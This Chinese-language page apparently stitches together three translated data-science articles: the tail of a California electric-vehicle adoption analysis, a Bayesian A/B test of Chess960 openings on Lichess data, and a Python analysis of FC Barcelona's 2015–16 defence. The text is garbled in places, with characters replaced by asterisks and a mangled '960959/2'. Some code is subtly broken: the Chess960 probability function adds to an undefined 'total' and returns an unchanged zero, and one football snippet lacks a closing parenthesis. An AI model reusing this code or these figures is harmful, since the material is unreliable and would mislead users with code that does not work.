我们可以注意到,从 2021 年到 2022 年的销售出现了上升。这一增长从约 6.6%上升到 9.5%。这一增长似乎主要来自 ZEV 购买的增加。
如果我们假设 2021 年到 2022 年的线性外推会继续,那么到 2026 年我们可能达不到 35%的电动车采纳率。然而,DMV 数据反映的是每年年初的车辆计数,因此没有计算新激励结构推出后的时间段(2022 年 8 月)。上图中的蓝色圆圈对此进行了补偿。它展示了 2022 年全州的电动车采纳率,数据来自 energy.ca.gov。如果我们将蓝色圆圈包含在趋势中并进行线性外推,那么到 2026 年实现 35%的目标看起来是有可能的。
尽管如此,假设线性外推是一种过于简单化的处理方式,甚至可能不是趋势的正确形状。总体而言,很难预测未来 4 年将会怎样,但从 2021 年到 2022 年的增长是一个令人鼓舞的迹象,另外来自energy.ca.gov的数据点也是一个积极的信号。
电动汽车采纳率(县级):
我们还可以查看县级的电动汽车采纳率,以了解州内各区域购买电动汽车的趋势:
在上图中,我们可以看到湾区的电动汽车采纳率远远高于全州的其他地区。在州的其他部分,电动汽车采纳率通常在沿海县和湾区-太浩走廊沿线较高。具体来说,以下 5 个县的电动汽车采纳率最高:
有一种假设认为,湾区的电动汽车采纳率较高是因为它反映了居住在那里公民的财富和政治倾向(虽然这超出了本次分析的范围,我们可以利用最新人口普查数据和加州人在 2022 年对 30 号提案的投票情况进一步探讨这个问题)。
加利福*亚州电动汽车采纳率最低的地区通常集中在州的东北部。这 5 个电动汽车采纳率最低的县是:
加利福*亚州的东北地区人口稀少。这些地区可能有居民对电动汽车的采纳持保留态度,因为这些地区往往面临严酷的天气(或许居民认为电动汽车在这些条件下会比他们习惯的车辆功能下降)。此外,该州这部分地区的充电基础设施可能也很少。这里的大异类是帝国县,这是加利福*亚州最东南的县。它的居民数量比其他县多,并且是沙漠地区(与红木覆盖的山区相对)。它也可能面临基础设施短缺的问题。虽然这超出了本次分析的范围,但我们可以通过查看电动汽车充电器位置数据来确定基础设施的缺乏是否与电动汽车采纳率相关。
如果我们对每个县 2021 年和 2022 年的电动汽车采纳率进行线性外推,我们可以估算出哪些县会在 2026 年达到目标,哪些县不会。
线性外推 — 基于 2021 年到 2022 年的全县增长数据
然而,这种推断不包括新激励结构后的电动汽车采用率。如果我们假设年增长率等于 2021 年到 2022 年全县平均增长率和 2022 年到 2023 年州级增长率的平均值,我们可以得出以下预测:
线性推断 —— 基于 2021 年到 2022 年全县平均增长和 2022 年到 2023 年州级增长的平均值
类似于我们之前看到的电动汽车采用率图表,电动汽车采用率较高的县通常是我预计将在 2026 年达到目标的县。如果我们考虑所有未预计达到目标的县,并计算它们预计的未达到目标的程度,按其各自的人口比重加权,我们可以确定哪些县最“重要”,需要专注于。这些县可以被认为是改进空间最大、对整个加州推向 2026 年目标最有帮助的地区。以下是最有机会的前 5 个县:
这些县大多位于州东南角和南中央谷地区。它们人口众多,电动汽车使用率较低。如果加州在 2026 年电动汽车采用率落后 35%,这个地区可能是一个重要原因。洛杉矶县特别显著,我预测它在 2026 年的电动汽车采用率为 33.7%(几乎达到 35%的目标,但还未完全达到),但由于人口众多,它出现在最重要县的前列。
值得注意的是,上述模型用于估计 2026 年电动汽车采用率非常简单,只是我们可以考虑预测未来电动汽车采用的一种方式。在今后的工作迭代中,我们可以增加更多复杂性以获得更准确的结果。
**电动汽车采用率(汽车制造商水平):
我们还可以按汽车制造商的水平查看数据,评估哪些汽车制造商正在朝着达到 2026 年目标的方向前进,哪些滞后。
重要提示: 我注意到 DMV 的数据中有大约 28%的电动汽车标记为“其他/未知”,其制造商不明确。我不确定这些电动汽车属于哪些组,但如果它们被正确分配,这些结果可能会有所不同。
如果我们纯粹看注册最多的电动汽车,我们可以看到以下情况:
2022 DMV 数据
我们可以看到特斯拉占据主导地位,丰田排名第二。此后,其他电动汽车销售商的长尾排列。大多数汽车制造商的电动汽车销售率在低个位数,少数豪华品牌略高。从这些数据可以清楚地看出,汽车制造商需要做大量工作才能在 2026 年实现 35%的电动汽车销售目标。
我与几位行业专业人士讨论了这个列表,他们指出缺少一些特定的汽车制造商,特别是日产、起亚和现代。我做了一些调查,发现日产特别在 2022 年注册了许多较旧的电动车(例如 2018 年或 2019 年生产的电动车),因此被我的规则过滤掉了,该规则只考虑了注册年份过去 3 年内生产的汽车。如果我多考虑一年,日产就被包含在了第 8 位的列表中。在这种情况下,本田也进入了列表。这项调整对现代和起亚的结果影响不大。这两家汽车制造商可能是上述“其他/未知”组的重要组成部分。
如果我们按照总体销售最多的车辆来排序数据,我们可以看到以下信息:
2022 年 DMV 数据
从这张图表可以看出,除了特斯拉之外,所有大型汽车制造商都有很多工作要做,以实现 35%的电动车销售目标。
IRS 更新 关于哪些车辆将符合 IRA 税收优惠的最新信息已于 2023 年 4 月 17 日公开。如果在可预见的未来此列表没有变化,税收优惠将主要惠及雪佛兰、福特、特斯拉、吉普和林肯,而对日产、沃尔沃、奥迪、现代、起亚、斯巴鲁、丰田和大众产生不利影响(尽管我看到关于大众 ID.4 是否符合条件的信息存在冲突)。这并不意外,因为 IRA 旨在刺激美国及其盟国的汽车制造业(从而促进汽车制造商的就业),并减少对中国等“外国关注实体”(FEC)的依赖。
我们还可以从县级别考察加利福*亚州,看看每个县的主要电动车销售商:
特斯拉远远领先于其他品牌,丰田排在第二位。之后,是否有任何电动车销售商在特定地区具有明显优势尚不明确。
人均车辆数(县级别):
虽然这与电动车直接无关,我还查看了加利福*亚州每个县的人均车辆数,并考察了该数据从 2018 年到 2022 年的趋势。随着我们向更可持续的社会过渡,我们不仅要向电动车转型,还需要在总体上减少个人车辆的使用,依赖公共交通、自行车和拼车。这部分分析研究了加利福*亚州每个人的车辆数量,以及该数据在地区上的趋势是上升还是下降。
2022 年每人车辆数
2018 年到 2022 年每人车辆数的百分比变化
正如您在第一幅图中看到的那样,Sierra 山脉地区是拥有最高人均车辆的县,而旧金山县(虽然可能难以看清)和湾区则是最低的。一般来说,我们在中央谷地区看到的人均车辆较少,但这可能更多是因为较低的财富而不是湾区,而湾区则可能是因为较高的交通便利性。中央谷地区人均车辆较少也可能与车辆注册较少有关。
这幅图展示了过去 5 年各县每人拥有的车辆数量发生了多大变化。在大多数县,这个数量要么保持相对稳定,要么有所增加。在湾区,这个数量显著下降。我对此的一个假设是远程办公的出现。我猜想,由于许多科技行业的人(特别是在湾区集中的人群)因疫情开始远程办公,他们不需要通勤,因此对汽车的需求减少,因此他们卖掉了自己的车(尽管超出了本次分析的范围,二手车销售数据可能用于进一步探讨这一点)。
结论:
加利福*亚州的电动车市场格局复杂而广泛,我们在这里只是初步探索了一部分。总体而言,看起来加州人在 2026 年达到 35%电动车普及率的目标方面走在了正确的方向上,但各个汽车制造商还有很多工作要做才能实现这一目标。未来几年的发展将会非常有趣!
希望您喜欢这篇分析!您可以在我的 GitHub 页面上查看所有代码。如果您喜欢这篇分析,请关注我以获取我的未来工作通知。
注意: 所有图片(除非另有说明)均为作者所拍摄。
分析 Chess960 数据
使用超过 1400 万局 Chess960 游戏来找出是否有比其他变体更好的变体
·
关注 发表于 Towards Data Science · 12 分钟阅读 · 2023 年 1 月 13 日
--
在这篇文章中,我分析了 Lichess 上所有可用的 Chess960 游戏。通过这些信息,并使用贝叶斯 A/B 测试,我展示了没有哪个起始位置比其他位置更有利于任何一方。
原始文章发布于 这里。所有图片和图表,除非另有说明,均由作者提供。
介绍
世界费舍尔随机棋锦标赛最近在雷克雅未克举行,GMHikaru 胜出。费舍尔随机棋,也被称为 Chess960,是经典棋局的一种独特变体,它随机化棋子的起始位置。这一改变的目的是通过消除记忆开局的优势来平衡比赛,使玩家不得不依靠自己的技巧和创造力。
在跟踪这一事件的过程中,我心中出现了一个问题:是否有某些初始 Chess960 变体会给某一方带来不公平的优势?目前标准棋局的初始位置给白方略微的优势,白方通常赢得约 55% 的比赛点数(参考),Stockfish 给白方的评分为 +0.3(参考)。然而,这一优势相对较*,这可能是该位置成为标准位置的原因之一。
关于这个主题已有一些工作。Ryan Wiley 写了这篇博客文章,他在文章中分析了 lichess 上的数据,并得出了一些变体优于其他变体的结论。文章中提到某些棋局对白方的胜率更高,但他没有展示这一说法的显著性。这让我觉得也许他的发现需要重新审视。他还训练了一个机器学习模型,以变体和玩家的 ELO 为输入来预测比赛结果。最终模型的准确率为 65%。
另一方面,还有这个仓库,其中包含了 450 万场比赛的统计数据(每个变体约 4500 场比赛)。在这个仓库中,列出了白方和黑方的最大差异,但同样没有给出统计显著性。
最后,还有一些关于这个主题的计算机分析研究。在这个电子表格中,包含了所有起始位置的 Stockfish 深度 ~40 评估。有趣的是,没有一个位置 Stockfish 给黑方提供优势。还有这个数据库,其中包含了不同计算机引擎之间的 Chess960 比赛。然而,我目前只对分析人类比赛感兴趣,所以对这类比赛不会给予过多关注,也许在未来的文章中会涉及。
由于之前的工作没有解决给每种 Chess960 变体的获胜机会赋予统计信心的问题,我决定尝试一下。
简而言之
在这篇文章中,我分析了所有在 Lichess 上进行的 Chess960 比赛。通过这些信息,我展示了
-
使用贝叶斯 AB 测试,我展示了没有任何起始位置比其他位置更有利于任何一方。
-
此外,变体过去的获胜率并不预测该变体未来的获胜率。
-
并且 Stockfish 的评估并不预测每个变体的实际获胜率
-
最后,知道正在使用的变体并不能帮助预测获胜者。
数据
Lichess——世界上最伟大的国际象棋平台——*护了一个 数据库 ,其中包含了他们平台上所有已进行的游戏。为了进行分析,我下载了所有可用的 Chess960 数据(直到 2022 年 12 月 31 日)。对于所有进行的游戏,我提取了变体、玩家的 ELO 以及最终结果。这些数据可以在 Kaggle 上获得。用于下载和处理数据的脚本和笔记本可以在这个 repo 上找到。
我使用的数据是根据 Creative Commons CC0 许可协议 发布的,这意味着你可以将其用于研究、商业目的、出版等任何你喜欢的用途。你可以下载、修改和再分发这些数据,无需请求许可。
数学框架
贝叶斯 A/B 测试
根据上述的先前工作,一些变体比其他变体更好。但我们如何确保这些差异在统计上是显著的呢?为了解答这个问题,我们可以使用著名的 A/B 测试策略。也就是说,我们首先假设变体A比变体B具有更大的获胜机会。零假设则是A和B具有相同的获胜率。为了排除零假设,我们需要证明在零假设的假设下观察到的数据是如此极端,以至于继续相信零假设没有意义。为此,我们将使用贝叶斯 A/B 测试 1。
在贝叶斯框架下,我们为每个变体分配一个获胜率的概率分布。也就是说,不是说变体A的获胜率是X%
,而是说变体A的获胜率有某种概率分布。建模这种问题时,自然的选择是使用贝塔分布 (ref)。
贝塔分布被定义为
其中 B(a, b) = Γ(a)Γ(b)/Γ(a+b), Γ(x) 是伽马函数,对于正整数 Γ(n) = (n-1)!。对于给定的变体,参数α可以解释为白方胜利的次数加一,而β则为白方失败的次数加一。
现在,对于两种变体A和B,我们想知道A的胜率比B的胜率大的可能性。数值上,我们可以通过从A和B中抽取N个值,即w_A和w_B,并计算w_A > w_B的比例来做到这一点。然而,我们可以通过解析的方法计算这一点,从
注意,Beta 函数可能会给出非常大的数字,因此为了避免溢出,我们可以使用log
进行转换。幸运的是,许多统计软件包都有对数 Beta 函数的实现。通过这种转换,项被转换为
这在 python 中实现,使用scipy.special.betaln
对数 B(a, b)的实现,如
import numpy as np
from scipy.special import betaln as logbeta
def prob_b_beats_a(n_wins_a: int,
n_losses_a: int,
n_wins_b: int,
n_losses_b: int) -> float:
alpha_a = n_wins_a + 1
beta_a = n_losses_a + 1
alpha_b = n_wins_b + 1
beta_b = n_losses_b + 1
probability = 0.0
for i in range(alpha_b):
total += np.exp(
logbeta(alpha_a + i, beta_b + beta_a)
- np.log(beta_b + i)
- logbeta(1 + i, beta_b)
- logbeta(alpha_a, beta_a)
)
return probability
使用这种方法,我们可以计算一个变体比另一个变体更好的可能性,并由此定义一个阈值α,使得我们可以说,如果Pr(p_A>p_B)<1-α,则变体B显著优于变体A。
下面你可以看到一些 Beta 分布的图。第一幅图中,参数为α_A= 100,β_A=80,α_B=110 和β_B=70。
参数为α_A= 100,β_A=80,α_B=110 和β_B=70 的 Beta 分布
在第二幅图中,参数为α_A= 10,β_A=8,α_B=11 和β_B=7。
参数为α_A= 10,β_A=8,α_B=11 和β_B=7 的 Beta 分布
注意,即使在两种情况下胜率相同,但分布看起来不同。这是因为在第一种情况下,我们对实际胜率的确定性更高,这是因为我们观察到了比第二种情况更多的点。
家庭错误率
通常,在 A/B 测试中,人们仅比较两个变体,例如:白色背景与蓝色背景的网站转换率。然而,在这个实验中,我们不仅仅是在比较两个变体,而是比较所有可能的变体对——记住我们想找出是否有至少一个变体优于另一个变体——因此,我们所做的比较数量是 960959/2 ~ 5e5。这意味着使用典型值α=0.05*是不正确的,因为我们需要考虑到我们进行的比较数量。例如,假设所有初始位置的胜率分布相同,使用标准值会有一定的概率
至少观察到一个假阳性!这意味着即使在任何变体对之间没有统计显著差异的情况下,我们仍将观察到至少一个假阳性。如果我们想保持相同的α但将比较数量从 2 增加到,我们需要定义一个有效的α,如
并解决
插入我们的值后,我们最终得到α_eff =1e-7。
列车/测试分割
在前面的部分,我们发展了理论,以确定一种变体是否比另一种变体更好,基于观察到的数据。也就是说,在看到一些数据后,我们建立了变体 B 优于变体 A
的形式的假设。然而,我们不能使用用于生成假设的数据来验证假设的真实性。我们需要在尚未使用的数据集上测试这个假设。
为了实现这一点,我们将把完整的数据集拆分成两个不相交的train
和test
数据集。train
数据集将与贝叶斯 A/B 测试框架一起使用,以生成B>A形式的假设。然后,使用test
数据集,我们将检查这些假设是否成立。
请注意,这种方法只有在赢率的分布随时间不变时才有意义。这似乎是一个合理的假设,因为,据我所知,过去几年没有发生过重大的理论进展来改变某些变体的获胜概率。实际上,最*化理论和准备对游戏结果的影响是 Chess960 的目标之一。
数据准备
在前面的部分,我们隐含地假设一局游戏要么赢,要么输,但它也可能是平局。我为胜利分配了1
分,为平局分配了1/2
分,为失败分配了0
分,这是国际象棋比赛中通常的做法。
结果
在这一部分,我们将应用上面解释的所有技术到 lichess 数据集中。在数据集中,我们有超过 1300 万局游戏,这大约是每种变体 1.4 万局。然而,数据集包含了大量不同的玩家和时间控制(从 ELO 900 到 2000,从快速棋到经典棋)。因此,使用所有游戏进行比较将意味着忽视混杂变量。为避免这个问题,我只使用了 ELO 在(1800, 2100)范围内且使用快速棋时间控制的玩家的游戏。我意识到这些筛选条件与世界费舍尔随机国际象棋锦标赛等顶级比赛的现实情况不符,但在 lichess 数据中,高等级玩家(>2600)的经典 Chess960 游戏并不多,所以我将只使用游戏数量更多的组。在应用这些筛选条件后,我们得到一个包含约 240 万局游戏的数据集,每种变体约有 2500 局。
列车/测试分割是通过时间分割完成的。2022-06-01
之前的所有游戏都属于训练数据集,而该日期之后的所有游戏都属于测试数据集,这大约占训练数据的 80%和测试数据的 20%。
生成假设
第一步是通过 A/B 测试生成一组假设。要比较的变化对数量相当大(1e5),测试所有这些变化对会花费很多时间,因此我们只比较获胜率最高的 20 个变化与获胜率最低的 30 个变化。这意味着我们将有 900 对变化进行比较。在这里,我们看到 train
数据集中差异较大的变化对。
注意到这些变化的 α 大于 α_eff,这意味着差异不显著。由于这些是差异较大的变化,我们知道没有任何变化对具有统计学上显著的差异。
尽管差异不显著,但从这张表格可以假设变化 rnnqbkrb
比变化 bbqrnkrn
更差。如果我们在 test
数据集中检查这些变化值,我们会得到
注意到“差”的变化的获胜率仍然低于“好”的变化,然而,它已经从 0.473
增加到 0.52
,这差距还是很大的。这提出了一个新问题:过去的变化表现是否能保证未来的表现?
过去与未来的表现
在上一部分,我们已经看到如何生成和测试假设,但我们也注意到一些变化的表现会随时间变化。在这一部分,我们将更详细地分析这个问题。为此,我计算了 train
和 test
数据集中的获胜率,并将它们绘制在一起进行比较。
训练与测试的获胜率
如我们所见,过去的获胜率与未来的获胜率之间没有关系!
评估与率
我们已经看到过去的表现不能保证未来的表现,但 Stockfish 评估能否预测未来的表现?在接下来的图表中,我展示了 Stockfish 对每个变化的评估以及数据集中相应的获胜率。
Stockfish 评估与每个变化的获胜率
机器学习模型
直到现在,我们已经看到在 Chess960 游戏中没有更好的变化,并且过去的表现不能保证未来的表现。在这一部分,我们将看看是否可以根据变化和玩家的 ELO 预测哪一方将赢得比赛。为此,我将训练一个机器学习模型。
模型的特征包括白棋和黑棋的 ELO、正在进行的变体以及使用的时间控制。由于变体特征的基数很大,我将使用CatBoost
,该模型专门设计用于处理分类特征。此外,作为基准,我将使用一个模型,该模型预测如果White ELO > Black ELO
则白棋获胜,White ELO == Black ELO
则平局,White ELO < Black ELO
则白棋失败。通过这个实验,我想了解变体对预期胜率的影响。
在接下来的表格中,我展示了两个模型的分类报告。
- CatBoost 模型
- 基准模型
从这些表格中,我们可以看到 CatBoost 和基准模型的结果几乎相同,这意味着知道正在进行的变体并不有助于预测游戏结果。注意,结果与这里获得的结果相符(准确率 ~65%),但在链接的博客中假设知道变体有助于预测赢家,而我们已经看到这并不成立。
结论与评论
在这篇文章中,我展示了
-
使用标准阈值来确定显著结果在进行多次比较时不有效,需要进行调整。
-
胜率没有统计学上的显著差异,即:我们不能说某个变体比另一个变体对白棋更有利。
-
过去的比率不能暗示未来的比率。
-
Stockfish 评估无法预测胜率。
-
知道正在进行的变体并不有助于预测比赛结果。
然而,我意识到我使用的数据并不代表我最初想研究的问题。这是因为 Lichess 上的数据偏向于非职业玩家,即使我使用了来自具有良好 ELO(从 1800 到 2100)的玩家的数据,但他们距离参加 Chess960 世界杯的玩家(>2600)还很远。问题在于,ELO >2600 的玩家数量非常少(根据chess.com的数据显示为 209),而且并不是所有人都在 Lichess 上定期进行 Chess960 比赛,因此具有这种特征的棋局数量几乎为零。
从数据科学的角度分析 FC 巴塞罗那的防守
原文:
towardsdatascience.com/analyzing-fc-barcelonas-defense-from-a-data-science-perspective-76797018b0b3
体育分析
通过视觉数据比较来说明巴萨防守的漏洞
·发布于 Towards Data Science ·13 分钟阅读·2023 年 8 月 10 日
--
照片由 Alessio Patron 提供,来源于 Unsplash
简介
几天前我发布了我的第一个体育分析文章。对这一话题仍然充满兴趣,现在我又在写关于足球的内容。
在下文中 — 链接见下方 — 我使用了频率统计来演示进球事件的随机性。但我将其更进一步。文中解释的随机模型 — 受到泊松分布的影响 — 在许多与足球无关的领域也适用。
通过频率统计理解进球事件
towardsdatascience.com
今天我们将更进一步,尽管这将以足球为中心,但我们将要了解的过程和知识对于任何数据科学家都是相关的。
从足球角度来看,我们将专注于防守,分析巴萨的防守,看看在哪些方面可以改进,无论是在团队还是个人层面。
由于防守是一个广泛的术语 — 包括铲球、扑救、拦截和许多其他高级统计数据 — 我将更加具体,专注于射门和失球。
在 2015–16 赛季的西甲中,巴萨是第二少失球的球队(29 球),仅次于马竞(18 球)。尽管这已经不错,但仍有改进的空间。
目标不是提供解决方案,那是教练组的工作。我们今天作为数据科学家或体育分析师的目标是发现问题并提出假设,以便教练组可以根据这些信息解决场上的问题。
这是我们今天将要探讨的内容的简要总结:
-
背景和上下文。
-
获取数据、转换和准备数据。
-
分析 FCB 的射门和丢球。
-
更深入地分析每个球员的射门和丢球。
所有的代码都将在我的 GitHub 仓库 [1]中提供,链接在资源部分,因此我将在此跳过部分代码,以免大段代码分散读者对内容的关注。
上下文
没有背景信息的数据科学问题是无法解决的。我们需要深入理解我们所处理的数据。如果没有这样做,我们无法得出有用的结论。
数据需要上下文才能转化为信息。
让我们回到过去。2015-16 赛季西甲联赛是一个有趣的赛季。F.C.巴萨以 91 分获得冠军,紧随其后的是只差 1 分的皇家马德里(90 分),而马德里竞技获得 88 分。
最后一轮比赛将决定一切。但三队都赢得了各自的比赛,因此排名没有变化。巴萨赢得了冠军。
在那个赛季,巴萨还赢得了国王杯和欧洲超级杯,但在冠军联赛和西班牙超级杯中惨遭失败。在冠军联赛中,他们在四分之一决赛被马德里竞技淘汰,在西班牙超级杯中,他们以总比分 1-5 输给了毕尔巴鄂竞技。
显然,巴萨的防守存在问题。在那次西甲赛季中,他们被进球次数比马德里竞技多了 11 次(增加了 61%)。看起来 MSN 进攻组合(梅西-苏亚雷斯-内马尔)在大多数比赛中弥补了球队的防守。
但奇迹是不存在的。
四名常规防守首发球员是阿尔*斯、皮克、马斯切拉诺和阿尔巴。这些都是世界级的防守球员,但显然他们并没有打满所有比赛时间。替补球员包括马蒂厄、罗贝托、阿德里亚诺、巴尔特拉、*尔马伦……如果看替补席,水平下降了不少。
我们可以怪罪替补球员吗?也许不能。我想指出的是,阿尔*斯和阿尔巴都是相当进攻的边后卫……这是否导致他们的球队丢了更多的射门或进球?
我们今天的任务是分析防守,看看是否能发现潜在的缺陷。
获取数据、转换和准备数据
现实世界中的原始数据永远不会被清理和准备好以供数据科学家使用。大多数时候,代码将用于处理数据集并将其转换为我们项目所需的精确数据。
对于今天的目的,我们将使用 StatsBomb 的免费开放数据[2]。我们还将使用statsbombpy
[3]模块对数据进行处理。
你可以通过运行以下命令来安装它:
pip install statsbombpy
我们还将使用一些你可能需要安装的其他模块。如果尚未安装,请先安装这些模块,然后导入它们:
import matplotlib
import matplotlib.pyplot as plt
from mplsoccer import VerticalPitch
import numpy as np
import pandas as pd
from statsbombpy import sb
我们现在准备好检索数据。由于我们需要检查 2015–16 赛季 FCB 的射门和失球,我们首先需要获取该比赛和赛季的所有比赛数据:
competition_row = sb.competitions()[
(sb.competitions()['competition_name'] == 'La Liga')
& (sb.competitions()['season_name'] == '2015/2016')
]
competition_id = pd.unique(
competition_row['competition_id']
)[0]
season_id = pd.unique(
competition_row['season_id']
)[0]
matches = sb.matches(competition_id=competition_id, season_id=season_id)
然后,对于每场比赛,我们可以轻松地通过以下方式检索其事件:
match_events = sb.events(match_id=match_id)
因此,我们提取了所有巴萨比赛中的所有事件,并创建了一个包含所有事件的数据框:all_events
。我们还创建了两个额外的列,因为它们对于后续分析会很有用:
-
一个叫做
minutes
的列,其在同一场比赛的所有行中具有相同的值:它的持续时间。 -
另一个叫做
time
,它只是minute
和second
列中值的连接。
最终,all_events
数据框被过滤以仅保留对手球队的射门。结果如下:
shots_against_team.head()
shots_against_team DF 中的前 5 行 — 图片由作者提供
StatsBomb 的数据非常棒。完整且准确。今天对我们有用的是射门发生的位置,由x
和y
列标记。因此,我们可以使用这些数据来进行可视化。
分析 FCB 的射门和失球
一旦我们拥有所有需要的数据,我们可以开始分析。像往常一样,绘图是我做的第一件事,因为这是理解我们所处理数据的最佳方式。
我们将使用来自mplsoccer
[4]模块的VerticalPitch
类来展示射门和进球的位置:
# Set up pitch (layout)
pitch = VerticalPitch(line_zorder=2, line_color='black', half = True)
fig, axs = pitch.grid(nrows=1, ncols=1, axis=False, endnote_height=0.05)
# Plot each shot
for row in shots_against_team.itertuples():
if row.shot_outcome == 'Goal':
# If it was a goal, we want to see it clearly
alpha = 1
else:
# Increase transparency if it wasn't a goal
alpha = 0.2
pitch.scatter(
row.x,
row.y,
alpha = alpha,
s = 100,
color = "red",
ax=axs['pitch'],
edgecolors="black"
)
这段简单的代码允许我们绘制半个足球场,并将射门用红色标记,透明度根据是否进球而有所不同。此外,我还添加了两个额外的点,分别表示平均射门和进球的位置(绿色和蓝色)。
2015–16 赛季西甲联赛中 FCB 的射门和失球 — 图片由作者提供
两个平均值都相当集中(略微偏向左侧),而进球位置比射门平均位置更靠近球门。毫不奇怪,射门越接近球门,进球越容易。
继续分析射门,唯一无法忽视的就是:在禁区外,射门似乎更多来自右侧(尽管相对均匀)。但在禁区内,射门明显偏向左侧。
那是阿尔*斯和皮克的一侧。
如果我们关注进球,来自左侧的进球更为分散,而右侧的进球在图中看起来更为集中或聚集。
以下代码片段用于创建射门热图。如果我们对进球应用相同的方法,我们会得到热图,用于更好地展示射门和进球在场地不同区域的分布。
pitch = VerticalPitch(line_zorder=2, line_color='black', half = True)
fig, axs = pitch.grid(nrows=1, ncols=2, axis=False, endnote_height=0.05)
shot_bin_statistic = pitch.bin_statistic(
shots_against_team.x,
shots_against_team.y,
statistic='count',
bins=(6, 5),
normalize=False
)
#normalize by number of games
shot_bin_statistic["statistic"] = shot_bin_statistic["statistic"]/len(team_matches)
#make a heatmap
pcm = pitch.heatmap(shot_bin_statistic, cmap='Reds', edgecolor='grey', ax=axs['pitch'][0])
#legend to our plot
ax_cbar = fig.add_axes((-0.05, 0.093, 0.03, 0.786))
cbar = plt.colorbar(pcm, cax=ax_cbar)
axs['pitch'][0].set_title('Shots conceded heatmap')
fig.suptitle(f"Shots and Goals Against {team} in 2015/16 La Liga season", fontsize = 30)
如果我们绘制两个热图,我们会得到:
2015–16 赛季西甲联赛中 FCB 的射门和失球 — 图片由作者提供
现在,显然,大多数射门和进球都来自中心和离球门最近的位置。一旦球在那儿,只有射门才有意义。
射门热图几乎是完全对称的,这因为我们将其分成了 5 个区间或列。如果我们选择更多区间,可能会更清楚地看到左侧偏斜。
但我们可以在进球热图中看到这一点。巴萨在阿尔*斯-皮克的一侧丢球比在马斯切拉诺-阿尔巴的一侧更多。
在分析一个团队的防守时,有几个因素非常重要。最终目标是查看他们失败的原因以及我们如何减少丢球的数量。一个团队可以通过多种方式实现这一点,但减少对方射门次数显然是一种减轻丢球数量的方式。
然而,今天我们还没有将射门与进球联系起来。我们将通过构建一个新的KPI来实现这一点,这是今天的第一个 KPI。
关键绩效指标(KPIs)在任何数据科学或分析项目中都极其重要。选择正确的 KPIs 可以让我们评估和正确地评估我们使用的策略,而选择不准确的 KPIs 则会导致无用和误导性的分析。
今天的第一个 KPI 将是每次射门进球比率,作为检查对手在射门时得分机会的方式:
# Count goals per heatmap bin
goal_bin_statistic = pitch.bin_statistic(
shots_against_team.loc[shots_against_team['shot_outcome'] == 'Goal'].x,
shots_against_team.loc[shots_against_team['shot_outcome'] == 'Goal'].y,
statistic='count',
bins=(6, 5),
normalize=False
# Count shots per heatmap bin
shot_bin_statistic = pitch.bin_statistic(
shots_against_team.x,
shots_against_team.y,
statistic='count',
bins=(6, 5),
normalize=False
)
# Create goal_shot_ratio KPI by dividing goals/shots
goal_shot_ratio = goal_bin_statistic.copy()
goal_shot_ratio['statistic'] = np.divide(goal_bin_statistic['statistic'], shot_bin_statistic['statistic'])
goal_shot_ratio['statistic'] = np.nan_to_num(goal_shot_ratio['statistic'])
下面是这个新统计数据绘制成热图的结果:
对 FCB 的每次射门进球比率 — 图片由作者提供
我们可以清晰地看到之前提到的左侧偏斜。当对方从阿尔*斯和皮克的一侧射门时,在禁区内丢球的机会几乎是从马斯切拉诺和阿尔巴的一侧射门丢球概率的两倍。
这并不意味着皮克比马斯切拉诺差,我当然不这样认为。我们只是说,从左侧射门比从右侧射门更容易导致丢球。
深入分析 — 球员分析
我觉得我们一直在责怪皮克和阿尔*斯,但我们甚至还没有比较他们的个人数据。因此,我们将深入分析这些球员的个人表现,再次从射门和丢球的角度来看。
如果这种不对称的原因是因为替补球员在首发球员疲劳或受伤时替换他们,那会怎么样?如果在个人层面上,他们的射门和丢球表现是一样的呢?
这就是我们现在要分析的内容,但我们首先需要准备数据。我们需要知道每个球员在每场比赛中打了多少分钟,球队在他们在场时丢了多少球……
我们将使用statsbombpy
的阵容数据,结合我们已经建立的事件数据框来获取这些数据:
all_lineups = None
for match_id in pd.unique(all_events['match_id']):
match_lineups = sb.lineups(match_id=match_id)['Barcelona']
match_lineups['match_id'] = match_id
match_lineups['match_duration'] = all_events[all_events['match_id'] == match_id]['minutes'].unique()[0]
match_lineups['from'] = match_lineups['positions'].apply(lambda x: x[0]['from'] if x else np.nan)
match_lineups['to'] = match_lineups.apply(lambda x: x['positions'][-1]['to'] if x['positions'] and x['positions'][-1]['to'] is not None else ('90:00' if x['positions'] else np.nan), axis=1)
match_lineups['minutes_played'] = match_lineups.apply(lambda x: parse_positions(x['positions'], x['match_duration']), axis=1)
if all_lineups is None:
all_lineups = match_lineups.copy()
else:
all_lineups = pd.concat([all_lineups, match_lineups], join="inner")
all_lineups = all_lineups.reset_index(drop=True)
我们只是添加了一些有用的新列,并使用了一个自定义函数 — parse_position()
— 来解析球员在比赛中在场的分钟数(也包括额外的加时)。
all_lineups 数据框的前 5 行 — 图片由作者提供
现在我们可以继续计算每个球员在场时,球队接到的射门和丢球的数量。
for match_id in pd.unique(all_lineups['match_id']):
match_shots = shots_against_team[
shots_against_team['match_id'] == match_id
]
for player_tup in all_lineups[all_lineups['match_id'] == match_id].itertuples():
# For whatever reason, the 'from' column is being mapped to '_10'
shots_conceded = match_shots[
(match_shots['time'] >= player_tup._10)
& (match_shots['time'] <= player_tup.to)
]
goals_conceded = len(
shots_conceded[shots_conceded['shot_outcome'] == 'Goal']
)
shots_conceded = len(shots_conceded)
all_lineups.at[player_tup.Index,'shots_conceded'] = shots_conceded
all_lineups.at[player_tup.Index,'goals_conceded'] = goals_conceded
新列在all_lineups
数据框中的样子如下:
每场比赛按球员统计的射门和进球数 — 图片来源于作者
这很有用,因为它允许我们看到每场比赛当特定球员在场时的表现。让我们进一步深入探讨。
除了我们在前一部分创建的 KPI 之外,我们现在将生成两个新的 KPI:
-
每分钟射门数
-
每分钟进球数
grouped = all_lineups.groupby('player_id')[
['minutes_played', 'shots_conceded', 'goals_conceded']
].sum()
grouped['shots_per_minute'] = \
grouped['shots_conceded'] / grouped['minutes_played']
grouped['goals_per_minute'] = \
grouped['goals_conceded'] / grouped['minutes_played']
如果我们排除那些每场比赛平均上场时间少于 10 分钟的球员,并按shots_per_minute
变量对数据框进行排序,我们会得到以下结果:
显示球员与进球和被射门相关的统计数据的数据框 — 图片来源于作者
这再清楚不过了。前 6 名中有 5 名是替补防守球员:巴尔特拉、阿德里亚诺、马修、罗伯托和*尔马伦。这太疯狂了。
难怪路易斯·恩里克偏爱皮克、马斯切拉诺、阿尔*斯和阿尔巴。
每 90 分钟的射门和进球数 — 图片来源于作者
转化为每 90 分钟的射门数,当巴尔特拉在场时,球队每场比赛平均接收 11.31 次射门。与之相比,马斯切拉诺在场时每 90 分钟接收 8.51 次射门。
